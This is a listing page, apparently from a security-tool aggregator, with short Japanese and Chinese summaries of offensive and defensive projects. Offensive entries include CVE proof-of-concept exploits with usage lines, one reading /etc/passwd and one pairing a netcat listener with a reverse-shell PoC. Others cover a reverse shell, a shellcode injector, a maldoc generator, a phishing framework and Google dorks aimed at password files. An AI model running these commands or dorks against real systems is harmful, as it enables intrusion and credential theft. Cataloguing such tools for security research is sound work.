CVE-2018-9995

ツール DVR認証情報を表示 root@kitploit: Exploit Title: "DVR認証情報を取得" CVE: CVE-2018-9995 CVSS Base Score v3: 7.3 / 10 CVSS Vector String: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N Date: 09/04/2018 Exploit Author: Fernandez Ezequiel CodeHolic から最適化 エクスプロイト: root@kitploit: $ curl...

CVE-2021-42013

CVE-2021-42013 PoC CVE-2021-42013 - Apache 2.4.50 CGI無効 使用方法 : root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013.sh http://ip:port/ /etc/passwd 参考文献 https://nvd.nist.gov/vuln/detail/CVE-2021-42013 https://vulners.com/cve/CVE-2021-42013...

K55

K55 - Linux x8664 プロセスインジェクションユーティリティ C++14 K55 について 発音: "kay fifty-five" K55 ペイロードインジェクションツールは、x8664 シェルコードペイロードを実行中のプロセスに注入するために使用されます。このユーティリティは、最新の C++11 技術と、ptrace のような伝統的な C 言語の Linux 関数を組み合わせて開発されました。対象プロセスで生成されるシェルコードは 27 バイトで、対象のアドレス空間内で /bin/sh bash シェルを起動...

BIT-ELASTICSEARCH-2026-78605 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') in Elasticsearch Leading to Information Disclosure

Inconsistent Interpretation of HTTP Requests 'HTTP Request Smuggling' CWE-444 in Elasticsearch can lead to information disclosure via HTTP Request Smuggling CAPEC-33. Under specific proxy deployment configurations, a network attacker could obtain confidential responses intended for other...

CVE-2019-12562

CVE-2019-12562 CVE-2019-12562 DotNetNuke DNN バージョン 9.4.0 以前における格納型クロスサイトスクリプティングにより、リモート攻撃者が悪意のあるスクリプトを管理者通知ページに保存・埋め込むことが可能です。このエクスプロイトは、コンテンツ管理、ユーザー追加、サーバーへのバックドアアップロードなど、管理者権限で任意の操作を実行するために使用される可能性があります。管理者ユーザーが格納型クロスサイトスクリプティングを含む通知ページにアクセスした場合、エクスプロイトが成功します。 エクスプロイト Config the exploit file...

bbs

BBS 旧版 bbs 可在此处找到 描述 bbs 是用于 SOCKS 和 HTTP 代理的路由器。它提供 SOCKS5、HTTP CONNECT 或端口转发服务，并根据请求的目标将传入请求转发到代理或代理链。路由可以通过 PAC 脚本（如果构建时启用了 PAC 支持）或 JSON 文件进行配置。 安装 root@kitploit: go install github.com/synacktiv/bbs@master 要安装支持 PAC 脚本的 bbs： root@kitploit: go install -tags pac github.com/synacktiv/bbs@master...

Reel

Reel 用于网络钓鱼模拟和安全意识培训的框架，支持可配置工作流、活动管理以及可选凭据代理。 快速开始（运维用途） 1. 克隆仓库并 cd 进入目录。 2. 运行 ./deploy.sh — 假设你在 Ubuntu 上，该脚本会为你配置好所有前置依赖。 3. 运行 ./start.sh --preload-ml。这会启动服务器并预加载我们使用的 ML 模型。 你会获得 http://localhost:8000 上的管理后台 UI 和 http://localhost:1234 上的钓鱼服务器。默认登录：admin / admin123。首次登录后请修改密码。 通过 ssh 将 8000...

sudo-CVE-2017-1000367

sudo-CVE-2017-1000367 http://www.openwall.com/lists/oss-security/2017/05/30/16 コンパイル: gcc -o sudopwn sudopwn.c -lutil 免責事項: 何をしているのか全く分かっていませんでした ;- 必要条件 システムはselinuxが有効である必要があります sudoはselinuxサポート付きでビルドされている必要があります sudo -r ユーザーにはsudo権限が必要です 例: "toor ALL=ALL NOPASSWD: /usr/bin/sum"...

forbidden

Forbidden 绕过 4xx HTTP 响应状态码及更多。 该工具基于 Python Requests、PycURL 和 HTTP Client。 在 Kali Linux v2024.2（64 位）上测试。 仅用于教育目的。希望能有所帮助！ 未来计划： 添加 silent 选项以抑制控制台输出。 添加 no color 选项以禁用彩色控制台输出。 添加对 hop-by-hop HTTP 请求头的测试。 添加对 User-Agent HTTP 请求头的测试。 添加对 HTTP cookies 的测试。 添加对 HTTP 走私的测试。 添加对 CRLF 的测试。 添加对 Log4j...

CVE-2022-25765

CVE-2022-25765 漏洞利用 针对 CVE-2022-25765（PDFkit 命令注入）的小型 PoC 漏洞利用 使用方法 1. 在攻击机器上启动 netcat 监听器： root@kitploit: nc -lvnp 4444 2. 运行漏洞利用程序： root@kitploit: python cve-2022-25765.py -t http://目标IP:端口 -l 你的IP -p 你的端口 示例： root@kitploit: python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 44...

tpotce

T-Pot - オールインワンマルチハニーポットプラットフォーム T-Potは、オプションで分散可能なマルチアーキテクチャ（amd64、arm64）のハニーポットプラットフォームであり、20以上のハニーポットと、Elastic Stackを使用した無数の可視化オプション、アニメーションによるライブ攻撃マップ、欺瞞体験をさらに向上させるための多くのセキュリティツールをサポートしています。 TL;DR 1. システム要件を満たすこと。T-Potのインストールには、少なくとも8～16 GBのRAM、128...

Xibo-CMS-Zip-Slip-RCE-Exploit-CVE-2023-33177

Xibo CMS Zip Slip RCE エクスプロイト CVE-2023-33177 このエクスプロイトは、Xibo CMS CVE-2023-33177 のパストラバーサル脆弱性 を実証し、悪意のあるレイアウトインポートを通じてリモートコード実行を可能にします。 脆弱性の詳細 CVE/アドバイザリ: CVE-2023-33177 影響を受けるバージョン: Xibo CMS 1.8.0 - 2.3.16 Xibo CMS 3.0.0 - 3.3.4 脆弱性タイプ: パストラバーサル Zip Slip 影響: リモートコード実行 RCE 技術的概要 Xibo CMS...

YourMemory

YourMemory あなたのAIは金魚の記憶しか持っていません。もうそんなことはありません。 AIエージェントのための持続的で自己改善する記憶 — 人間の記憶の科学に基づいて構築されました。 ▶ ライブインタラクティブデモを試す · ウェブサイト · ベンチマーク 問題 毎朝、あなたのAIエージェントはあなたを他人扱いします。同じコンテキストを再説明され、同じ好みを忘れられます。毎回のセッションはゼロから始まります。 ほとんどの「メモリ」ツールはベクターデータベースをエージェントに取り付けて完了と呼びますが、それは単なるストレージ...

meshyface

Meshyface Meshyface は、単一の Python サービスとして動作し、HTTP 経由でシングルページの Web UI を提供する、チャットファーストの Meshtastic ダッシュボードです。 現在のアプリケーション領域 現在の UI は以下を提供します: チャットおよびダイレクトピア会話 ネットワークワークスペース（マップ、概要、リンク、ルート、センサー、トップ10ランキング、ノード詳細、オンデマンド履歴） コンソールワークスペース（ライブパケット/ログ出力） アプリワークスペース（ゲームと、ファイル転送が有効な場合のファイルタブ）...

DOMPurify

DOMPurify DOMPurifyは、HTML・MathML・SVGを対象とした、DOMのみに依存する超高速で非常に寛容なXSSサニタイザーです。 また、使い方も始め方も非常に簡単です。DOMPurifyは2014年2月に開発が始まり、現在はバージョン v3.4.14 に達しています。...

CVE-2022-30190

CVE-2022-30190 - Microsoft サポート診断ツール 概要 このスクリプトは、リモートでコードを実行する Microsoft Office 文書を作成しようとします。 セットアップ root@kitploit: git clone https://github.com/joshuavanderpoll/CVE-2022-30190.git cd CVE-2022-30190 python3 CVE-2022-30190.py --help オプション root@kitploit: usage: CVE-2022-30190.py -h --html HTML --cm...

Complete-google-dorks

Complete-google-sql-dorks news/news.php?id= -site:php.net -"The PHP Group" inurl:source inurl:url ext:pHp !Host=. intext:encUserPassword= ext:pcf ?action= ?cat= ?id= ?intitle:index.of? mp3 artist-name-here ?intitle:index.of? mp3 name ?page= ?pagerequested= ?pid= " -FrontPage-" ext:pwd inurl:servi...

PwnXSS

一个强大的XSS扫描器，使用Python 3.7编写 安装 要求： BeautifulSoup4 root@kitploit: pip install bs4 requests root@kitploit: pip install requests python 3.7 命令： root@kitploit: git clone https://github.com/pwn0sec/PwnXSS chmod 755 -R PwnXSS cd PwnXSS python3 pwnxss.py --help 用法 基本用法： root@kitploit: python3 pwnxss.py -...

vuln-bank

易受攻击的银行应用程序 🏦 一个故意包含漏洞的 Web 应用程序，用于练习 Web、API 和 LLM 的应用安全测试、安全代码审查以及在 CI/CD 管道中实施安全措施。 ⚠️ 警告：此应用程序有意包含漏洞，仅应在隔离环境中用于教育目的。 概述 本项目是一个内置多种安全漏洞的简单银行应用程序。它旨在帮助安全工程师、开发人员、实习生、QA 分析师和 DevSecOps 从业者了解： 常见的 Web 应用程序和 API 漏洞 AI/LLM 漏洞 安全编码实践 安全测试自动化 DevSecOps 实施 功能与漏洞 核心银行功能 🔐 用户身份验证与授权 💰 账户余额管理 💸 转账 📝 贷款申请 ...

hershell

Hershell Goで書かれたシンプルなTCPリバースシェルです。 TLSを使用して通信を保護し、証明書の公開鍵フィンガープリントピン留め機能を提供することで、トラフィックの傍受を防ぎます。 対応OS: Windows Linux Mac OS FreeBSDと派生OS なぜ？ Meterpreterペイロードは優れていますが、AV製品に検出されることがあります。 このプロジェクトの目的は、複数のシステムで動作するシンプルなリバースシェルを提供することです。 どのように？ Goで書かれているため、目的のアーキテクチャ向けにソースをクロスコンパイルできます。 はじめに & 依存関係...